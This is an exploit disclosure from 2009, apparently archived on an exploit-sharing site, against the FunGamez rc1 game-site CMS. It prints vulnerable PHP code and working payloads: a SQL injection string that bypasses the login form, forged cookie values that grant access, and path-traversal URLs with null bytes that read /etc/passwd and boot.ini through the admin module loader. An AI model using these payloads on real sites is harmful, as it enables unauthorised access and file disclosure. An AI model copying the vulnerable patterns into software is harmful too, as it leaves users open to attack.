FunGamez rc1 (AB/LFI) Multiple Remote Vulnerabilities

2009-04-20T00:00:00
ID 1337DAY-ID-5074
Type zdt
Reporter YEnH4ckEr
Modified 2009-04-20T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =====================================================
FunGamez rc1 (AB/LFI) Multiple Remote Vulnerabilities
=====================================================


----------------------------------------------------------------------------------------------
|       	   	    	MULTIPLE REMOTE VULNERABILITIES		             	     |
|--------------------------------------------------------------------------------------------|
|                         	| FunGamez-release candidate 1 |		 	     |
|  CMS INFORMATION:		 ------------------------------			             |
|										             |
|-->WEB: http://sourceforge.net/projects/fg-gsm/				             |
|-->DOWNLOAD: http://sourceforge.net/projects/fg-gsm/ 	   		             	     |
|-->DEMO: N/A										     |
|-->CATEGORY: CMS / Portals								     |
|-->DESCRIPTION: A game-site manager with fully customisable design, and easy game adding    |
| 		and I will build in more options to make the site fully customisable...	     |
|											     |
|  CMS VULNERABILITY:									     |
|											     |
|-->TESTED ON: firefox 3								     |
|-->DORK: N/A										     |
|-->CATEGORY: AUTH BYPASS/LFI							             |
|-->AFFECT VERSION:RC-1						     			     |
|-->Discovered Bug date: 2009-04-20							     |
|-->Reported Bug date: 2009-04-20							     |
|-->Fixed bug date: Not fixed								     |
|-->Info patch: Not fixed							             |
|-->Author: YEnH4ckEr									     |
|-->WEB/BLOG: N/A									     |
|-->COMMENT: A mi novia Marijose...hermano,cunada, padres (y amigos xD) por su apoyo.        |
----------------------------------------------------------------------------------------------

/////////////////////////////

AUTH BYPASS (LOGIN FORM)

/////////////////////////////

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/pages/login.php

It contents:

...

	$logindat = mysql_query("SELECT * FROM `fg_users` WHERE `username` = '".$uname."' and `password` = '".$upass."'");

...

---------
EXPLOIT:
---------

PEPE' OR 1=1 /*

Password:ANY


////////////////////////////////////////

AUTH BYPASS (INSECURE COOKIE HANDLING)

////////////////////////////////////////

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/includes/user.php

It contents:

...

function checklogin(){

	If ( $_SESSION['user'] == null )  {

		If ( $_COOKIE['user'] == null )   {          
 			return 0;       
 		}         
		Else        
		{           
			return $_COOKIE['user'];         
		}     
	}  
 	Else      
	{        
	return $_SESSION['user'];      
	}
}

...

Path --> [HOME_PATH]/index.php

It contents:

...

If ( $page->requireslogin($name) && !$user->checklogin() ) { $name = 'login'; $_GET['newlogin'] = 1; }

...

----------
EXPLOITS:
----------

Add cookie:

1)user=1 path=/	(Insecure cookie)

2)user=pepe' or 1=1 /* path=/ (SQL injection)




///////////////////////////////

LOCAL FILE INCLUSION (LFI)

///////////////////////////////

------------
CONDITIONS:
------------

Need: Be admin user (above! :P)

-----------
BUG FILES:
-----------

Path --> [HOME_PATH]/admin/load.php

It contents:

...

If ( !isset($_GET['module']) ) $mod = 'start';

If ( isset($_GET['module']) ) $mod = $_GET['module'];

include('./admin/modules/'.$mod.'.php');

----------
EXPLOITS:
----------

1)http://[HOST]/FunGamez/index.php?admin&module=../../../../../../boot.ini%00

2)http://[HOST]/FunGamez/index.php?admin&module=../../../../../etc/passwd%00


*******************************************************************



#  0day.today [2018-03-06]  #